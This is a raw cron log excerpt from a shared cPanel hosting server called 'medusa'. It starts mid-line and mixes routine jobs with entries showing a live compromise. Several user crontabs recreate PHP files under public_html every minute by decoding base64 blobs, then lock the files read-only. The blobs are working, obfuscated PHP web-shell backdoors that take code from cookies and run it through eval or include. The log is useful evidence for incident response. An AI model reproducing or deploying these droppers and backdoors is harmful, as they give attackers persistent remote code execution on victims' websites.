NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:21:01 medusa CROND[17105]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:21:01 medusa CROND[17082]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:21:01 medusa CROND[17110]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:21:01 medusa CROND[17106]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:21:01 medusa CROND[17120]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:21:01 medusa CROND[17111]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:22:02 medusa CROND[2063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:22:02 medusa CROND[2065]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:22:02 medusa CROND[2067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:22:02 medusa CROND[2069]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:22:02 medusa CROND[2070]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:22:02 medusa CROND[2068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:22:02 medusa CROND[2071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:22:02 medusa CROND[2072]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:22:02 medusa CROND[2083]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:22:02 medusa CROND[2075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:22:02 medusa CROND[2084]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:22:02 medusa CROND[2086]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:22:02 medusa CROND[2091]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:22:02 medusa CROND[2097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:23:01 medusa CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:23:01 medusa CROND[21899]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:23:01 medusa CROND[22001]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:23:01 medusa CROND[22033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:23:02 medusa CROND[22144]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:23:02 medusa CROND[22147]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:23:02 medusa CROND[22149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:23:02 medusa CROND[22150]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:23:02 medusa CROND[22151]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:23:02 medusa CROND[22158]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:23:02 medusa CROND[22160]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:23:02 medusa CROND[22161]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:24:01 medusa CROND[5802]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
